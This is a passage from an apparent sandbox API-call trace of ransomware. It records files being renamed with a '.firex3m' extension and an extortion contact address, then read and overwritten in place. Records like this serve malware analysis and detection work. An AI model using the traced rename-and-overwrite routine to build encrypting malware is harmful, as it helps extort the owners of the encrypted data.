(dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.016] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.047] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.713] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.780] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.947] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.394] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.998] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\588bce7c90097ed212\\1038\\eula.rtf", len=0x23 | out: pbstr=0x64bff7c*="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 1 [0088.998] GetProcessHeap () returned 0x630000 [0088.998] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0218, Size=0x10) returned 0x6b1268 [0088.999] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0088.999] CloseHandle (hObject=0x6b0) returned 1 [0088.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.999] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.000] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5540 [0089.000] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0089.000] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0089.000] GetProcessHeap () returned 0x630000 [0089.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x72af30 [0089.000] GetProcessHeap () returned 0x630000 [0089.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x72bfe0 [0089.000] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.000] ReadFile (in: hFile=0x6b0, lpBuffer=0x72af30, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72af30*, lpNumberOfBytesRead=0x64bff0c*=0x1080, lpOverlapped=0x0) returned 1 [0089.019] GetProcessHeap () returned 0x630000 [0089.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0089.019] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.020] WriteFile (in: hFile=0x6b0, lpBuffer=0x72bfe0*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bfe0*, lpNumberOfBytesWritten=0x64bff0c*=0x1080, lpOverlapped=0x0) returned 1 [0089.020] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.020] WriteFile (in: hFile=0x6b0, lpBuffer=0x72d05f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d05f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0089.020] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.020] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0089.020] CloseHandle (hObject=0x6b0) returned 1 [0089.021] GetProcessHeap () returned 0x630000 [0089.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72bfe0 | out: hHeap=0x630000) returned 1 [0089.021] GetProcessHeap () returned 0x630000 [0089.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72af30 | out: hHeap=0x630000) returned 1 [0089.021] GetProcessHeap () returned 0x630000 [0089.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0089.021] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.021] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfb01ac03, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x9647496, dwReserved1=0x72af28, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0089.021] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0089.021] Sleep (dwMilliseconds=0x1) [0089.104] Sleep (dwMilliseconds=0x1) [0089.120] Sleep (dwMilliseconds=0x1) [0089.140] Sleep (dwMilliseconds=0x1) [0089.159] Sleep (dwMilliseconds=0x1) [0089.166] Sleep (dwMilliseconds=0x1) [0089.182] Sleep (dwMilliseconds=0x1) [0089.197] Sleep (dwMilliseconds=0x1) [0089.213] Sleep (dwMilliseconds=0x1) [0089.228] Sleep (dwMilliseconds=0x1) [0089.244] Sleep (dwMilliseconds=0x1) [0089.260] Sleep (dwMilliseconds=0x1) [0089.275] Sleep (dwMilliseconds=0x1) [0089.291] Sleep (dwMilliseconds=0x1) [0089.307] Sleep (dwMilliseconds=0x1) [0089.322] Sleep (dwMilliseconds=0x1) [0089.338] Sleep (dwMilliseconds=0x1) [0089.354] Sleep (dwMilliseconds=0x1) [0089.369] Sleep (dwMilliseconds=0x1) [0089.385] Sleep (dwMilliseconds=0x1) [0089.401] Sleep (dwMilliseconds=0x1) [0089.416] Sleep (dwMilliseconds=0x1) [0089.432] Sleep (dwMilliseconds=0x1) [0089.447] Sleep (dwMilliseconds=0x1) [0089.463] Sleep (dwMilliseconds=0x1) [0089.478] Sleep (dwMilliseconds=0x1) [0089.494] Sleep (dwMilliseconds=0x1) [0089.510] Sleep (dwMilliseconds=0x1) [0089.525] Sleep (dwMilliseconds=0x1) [0089.542] Sleep (dwMilliseconds=0x1) [0089.556] Sleep (dwMilliseconds=0x1) [0089.572] Sleep (dwMilliseconds=0x1) [0089.588] Sleep (dwMilliseconds=0x1) [0089.605] Sleep (dwMilliseconds=0x1) [0089.750] Sleep (dwMilliseconds=0x1) [0089.760] Sleep (dwMilliseconds=0x1) [0089.776] Sleep (dwMilliseconds=0x1) [0090.979] Sleep (dwMilliseconds=0x1) [0092.104] Sleep (dwMilliseconds=0x1) [0093.788] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Save.ico", len=0x27 | out: pbstr=0x64bff7c*="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 1 [0093.788] GetProcessHeap () returned 0x630000 [0093.788] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e85d0, Size=0x58) returned 0x68e1d8 [0093.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.823] CloseHandle (hObject=0x688) returned 1 [0093.823] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.823] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.824] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.824] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SAVEIC~1.FIR")) returned 0x6d53c0 [0093.824] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0093.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.824] GetProcessHeap () returned 0x630000 [0093.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6672f8 [0093.824] GetProcessHeap () returned 0x630000 [0093.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6ff1840 [0093.824] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.825] ReadFile (in: hFile=0x688, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x64bff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.830] GetProcessHeap () returned 0x630000 [0093.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.830] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.830] WriteFile (in: hFile=0x688, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x64bff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.830] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.830] WriteFile (in: hFile=0x688, lpBuffer=0x6ff1c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1c9f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.831] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.831] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.831] CloseHandle (hObject=0x688) returned 1 [0093.831] GetProcessHeap () returned 0x630000 [0093.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0093.832] GetProcessHeap () returned 0x630000 [0093.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.832] GetProcessHeap () returned 0x630000 [0093.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.832] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.832] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde02702, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x4a2, dwReserved0=0x9647496, dwReserved1=0x6672f0, cFileName="Save.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SAVEIC~1.FIR")) returned 0x6d5080 [0093.832] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0093.832] Sleep (dwMilliseconds=0x1) [0093.842] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", len=0x2a | out: pbstr=0x64bff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 1 [0093.842] GetProcessHeap () returned 0x630000 [0093.843] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef470, Size=0x4c) returned 0x6ef4c8 [0093.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.843] CloseHandle (hObject=0x688) returned 1 [0093.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.844] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.844] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.844] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~2.FIR")) returned 0x6d5340 [0093.844] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0093.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.844] GetProcessHeap () returned 0x630000 [0093.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.844] GetProcessHeap () returned 0x630000 [0093.845] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.845] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.845] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x64bff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.849] GetProcessHeap () returned 0x630000 [0093.849] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0093.849] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.849] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x64bff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.850] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.850] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.850] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.850] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.850] CloseHandle (hObject=0x688) returned 1 [0093.851] GetProcessHeap () returned 0x630000 [0093.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.851] GetProcessHeap () returned 0x630000 [0093.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.851] GetProcessHeap () returned 0x630000 [0093.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0093.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.851] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde28895, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9647496, 